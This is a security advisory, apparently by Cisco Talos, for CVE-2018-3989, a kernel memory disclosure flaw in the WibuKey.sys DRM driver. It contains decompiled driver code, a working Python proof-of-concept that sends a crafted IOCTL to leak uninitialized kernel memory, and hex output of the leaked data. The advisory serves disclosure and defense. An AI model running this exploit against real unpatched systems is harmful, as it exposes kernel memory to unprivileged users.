CVE-2018-3989
An exploitable kernel memory disclosure vulnerability exists in the 0x8200E804 IOCTL handler functionality of WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400).
A specially crafted IRP request can cause the driver to return uninitialized memory, resulting in kernel memory disclosure. An attacker can send an IRP request to trigger this vulnerability.
WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400) - Windows 7 x86
https://www.wibu.com/products/wibukey.html
4.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
CWE-200: Information Exposure
WibuKey is a complete DRM solution used by many applications, such as Straton, Archicad, GRAPHISOFT, V-Ray and many more. Part of WibuKey solution is in the hardware, and part of it is a WibuKey Runtime for Windows package that contains important Windows drivers and services. This advisory is for a vulnerability in the driver installed by the Windows package.
This vulnerability can be triggered by sending IOCTL requests to the WibuKey device. Here, we show the default access controls on the device allow any user on the system to send IOCTL requests:
accesschk.exe -q -o \Device\WibuKey
\Device\WibuKey
Type: Device
RW Everyone
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R NT AUTHORITY\RESTRICTED
The kernel memory leak is located in the IOCTL handler for the 0x8200E804
control code. The vulnerable function is:
Line 1 int __stdcall sub_A08360F0(struct_buffer_1 *buffer, struct_allocatedBuffer *allocatedBuffer)
Line 2 {
Line 3 someSize = buffer->someSize;
Line 4 v5 = buffer->unsigned6;
Line 5 result = v5 - 16;
Line 6 *(_DWORD *)allocatedBuffer->data = 0xC80B2;
Line 7 *(_WORD *)&allocatedBuffer->data[4] = 0x81;
Line 8 switch ( result )
Line 9 {
Line 10 case 19:
Line 11 v8 = sub_A08324B0(buffer->dword8, (_DWORD *)(buffer->dwordC > 0u ? (unsigned int)&buffer->unsigned10 : 0));
Line 12 LABEL_97:
Line 13 *(_DWORD *)&allocatedBuffer->data[8] = v8;
Line 14 v9 = v8 != 0;
Line 15 goto LABEL_98;
Line 16 (...)
Line 17 LABEL_98
Line 18 (...)
Line 19 *(_WORD *)&allocatedBuffer->data[2] = someSize;
At Line 5
if the result of the substraction v5 - 16
is equal to 19
we can see that *(_WORD *)&allocatedBuffer->data[2]
at line 19
is set to the value of the someSize
variable.
The value of someSize
is set based on data coming from the user at line 3
. In the end, we fully control the value set to the *(_WORD *)&allocatedBuffer->data[2]
field.
Moving up, we see the following code:
Line 1 NTSTATUS __stdcall sub_A0835C60(_DEVICE_OBJECT *DeviceObject, PIRP Irp)
Line 2 {
Line 3 (...)
Line 4 allocatedBuffer = (struct_allocatedBuffer *)allocPool(outLen);
Line 5 if ( allocatedBuffer )
Line 6 {
Line 7 if ( inBuffer->someSize <= outLen )
Line 8 {
Line 9 sub_A08360F0(inBuffer, allocatedBuffer);
Line 10 v9 = *(unsigned __int16 *)&allocatedBuffer->data[2];
Line 12 if ( v9 <= outLen )
Line 13 {
Line 14 memmove(inBuffer, allocatedBuffer, v9);
Line 15 v4 = 0;
Line 16 Irp->IoStatus.Information = v9;
Line 17 }
As we can see at line 10
, the value from *(_WORD *)&allocatedBuffer->data[2]
is assigned to the v9
variable, which is later compared with outLen (OutputBufferLength)
at line 7
.
If we pass the constraint, someSize
bytes from allocatedBuffer
are copied to inBuffer
and returned to the user. Since the allocatedBuffer
has not been cleared anywhere and there is no check to see how many bytes have really been set to it during this procedure, random kernel memory will be leaked to user space.
def leak_memory():
fileName = u'\\\\.\\WibuKey'
hFile = win32file.CreateFileW(fileName,
win32con.GENERIC_READ |win32con.GENERIC_WRITE,
0,
None,
win32con.OPEN_EXISTING, 0 , None, 0)
print "Handle ready : ",repr(hFile)
try:
ioctl = 0x8200E804
outBufferLen = 0x2e12 #FIXED
inputBuffer = "XXXX" #gap
inputBuffer += struct.pack("<H",0x2e12) #unsigned4
inputBuffer += struct.pack("<B",35) # unsigned6 FIXED
inputBuffer += "X" #gap
inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword8
inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dwordC
inputBuffer += struct.pack("<I",0xFFFFFFFE ) #unsigned10
inputBuffer += struct.pack("<I",0xFFFFFFFD )#dword14
inputBuffer += struct.pack("<B",random.randint(0,0xFF))#char18
inputBuffer += "XXX"
inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword1c
inputBuffer += struct.pack("<B",random.randint(0,0xFF) )
inputBufferLen = len(inputBuffer)
print "Time to send IOCTL : 0x%x" % ioctl
buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
except Exception as e:
print e.message
leak_memory()
Output:
Handle ready : <PyHANDLE:160>
outBufferSize : 11794
appCode : 35
00000000: B2 80 12 2E 0E 00 23 00 00 00 00 00 00 00 00 00 ......#.........
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
(...)
00001000: 46 69 6C 65 73 00 15 40 00 00 12 00 52 00 00 00 Files..@....R...
00001010: 02 00 00 00 29 00 00 00 0A 00 00 80 23 08 00 00 ....).......#...
00001020: 00 FC 0B 00 00 03 00 00 80 22 0B 00 00 00 FF FF ........."......
00001030: 04 0C 00 00 22 08 20 00 00 14 0C 00 00 00 75 69 ....". .......ui
00001040: 6E 74 36 34 00 00 4D 61 70 70 69 6E 67 53 74 72 nt64..MappingStr
00001050: 69 6E 67 73 00 01 00 00 00 1C 0C 00 00 00 4D 49 ings..........MI
00001060: 46 2E 44 4D 54 46 7C 53 79 73 74 65 6D 20 4D 65 F.DMTF|System Me
00001070: 6D 6F 72 79 20 53 65 74 74 69 6E 67 73 7C 30 30 mory Settings|00
00001080: 31 2E 34 00 00 46 72 65 65 56 69 72 74 75 61 6C 1.4..FreeVirtual
00001090: 4D 65 6D 6F 72 79 00 15 40 00 00 0A 00 2A 00 00 Memory..@....*..
000010A0: 00 02 00 00 00 1C 00 00 00 0A 00 00 80 23 08 00 .............#..
000010B0: 00 00 80 0C 00 00 03 00 00 80 22 0B 00 00 00 FF ..........".....
000010C0: FF 00 75 69 6E 74 36 34 00 00 49 6E 73 74 61 6C ..uint64..Instal
000010D0: 6C 44 61 74 65 00 65 40 00 00 02 00 08 00 00 00 lDate.e@........
000010E0: 00 00 00 00 29 00 00 00 0A 00 00 80 23 08 00 00 ....).......#...
000010F0: 00 CC 0C 00 00 D6 0C 00 00 22 08 20 00 00 E6 0C .........". ....
00001100: 00 00 03 00 00 80 22 0B 00 00 00 FF FF 00 64 61 ......".......da
00001110: 74 65 74 69 6D 65 00 00 4D 61 70 70 69 6E 67 53 tetime..MappingS
(...)
2018-09-14 - Vendor Disclosure
2018-12-19 - Vendor Patch
2019-01-28 - Public Release
Marcin 'Icewall' Noga of Cisco Talos.